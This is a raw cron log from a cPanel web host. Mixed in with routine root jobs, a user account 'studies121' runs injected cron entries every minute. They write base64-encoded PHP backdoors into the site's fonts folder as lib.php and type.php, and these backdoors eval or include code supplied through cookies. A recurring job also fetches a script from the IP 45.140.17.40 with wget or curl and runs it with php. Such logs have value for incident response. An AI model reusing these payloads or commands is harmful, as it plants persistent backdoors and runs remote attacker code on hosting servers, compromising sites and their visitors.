Sep 21 10:18:01 ip-184-168-122-23 CROND[10557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:19:01 ip-184-168-122-23 CROND[10696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:19:01 ip-184-168-122-23 CROND[10698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:19:01 ip-184-168-122-23 CROND[10699]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:19:01 ip-184-168-122-23 CROND[10702]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:20:01 ip-184-168-122-23 CROND[10866]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 10:20:01 ip-184-168-122-23 CROND[10868]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 10:20:01 ip-184-168-122-23 CROND[10872]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:20:01 ip-184-168-122-23 CROND[10875]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:20:01 ip-184-168-122-23 CROND[10871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:20:01 ip-184-168-122-23 CROND[10873]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 10:20:01 ip-184-168-122-23 CROND[10874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:20:01 ip-184-168-122-23 CROND[10876]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 10:20:01 ip-184-168-122-23 CROND[10870]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 10:21:01 ip-184-168-122-23 CROND[11047]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:21:01 ip-184-168-122-23 CROND[11051]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:21:01 ip-184-168-122-23 CROND[11053]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:21:01 ip-184-168-122-23 CROND[11054]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:22:01 ip-184-168-122-23 CROND[11206]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:22:01 ip-184-168-122-23 CROND[11208]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 10:22:01 ip-184-168-122-23 CROND[11211]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:22:01 ip-184-168-122-23 CROND[11210]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:22:01 ip-184-168-122-23 CROND[11209]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:23:01 ip-184-168-122-23 CROND[11427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:23:01 ip-184-168-122-23 CROND[11428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:23:01 ip-184-168-122-23 CROND[11429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:23:01 ip-184-168-122-23 CROND[11430]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:24:01 ip-184-168-122-23 CROND[11562]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:24:01 ip-184-168-122-23 CROND[11559]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 10:24:01 ip-184-168-122-23 CROND[11563]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:24:01 ip-184-168-122-23 CROND[11560]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:24:01 ip-184-168-122-23 CROND[11561]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:25:01 ip-184-168-122-23 CROND[11719]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:25:01 ip-184-168-122-23 CROND[11721]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 21 10:25:01 ip-184-168-122-23 CROND[11724]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 10:25:01 ip-184-168-122-23 CROND[11723]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:25:01 ip-184-168-122-23 CROND[11722]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:25:01 ip-184-168-122-23 CROND[11727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:25:01 ip-184-168-122-23 CROND[11726]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 10:26:01 ip-184-168-122-23 CROND[11867]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 10:26:01 ip-184-168-122-23 CROND[11870]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:26:01 ip-184-168-122-23 CROND[11869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:26:01 ip-184-168-122-23 CROND[11871]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:26:01 ip-184-168-122-23 CROND[11872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:27:01 ip-184-168-122-23 CROND[12017]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:27:01 ip-184-168-122-23 CROND[12020]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:27:01 ip-184-168-122-23 CROND[12021]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:27:01 ip-184-168-122-23 CROND[12019]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:28:01 ip-184-168-122-23 CROND[12150]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:28:01 ip-184-168-122-23 CROND[12152]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 10:28:01 ip-184-168-122-23 CROND[12153]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:28:01 ip-184-168-122-23 CROND[12154]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:28:01 ip-184-168-122-23 CROND[12155]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:29:01 ip-184-168-122-23 CROND[12384]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:29:01 ip-184-168-122-23 CROND[12386]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:29:01 ip-184-168-122-23 CROND[12385]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:29:01 ip-184-168-122-23 CROND[12387]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:30:01 ip-184-168-122-23 CROND[12536]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 10:30:01 ip-184-168-122-23 CROND[12537]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:30:01 ip-184-168-122-23 CROND[12538]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 10:30:01 ip-184-168-122-23 CROND[12539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:30:01 ip-184-168-122-23 CROND[12540]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
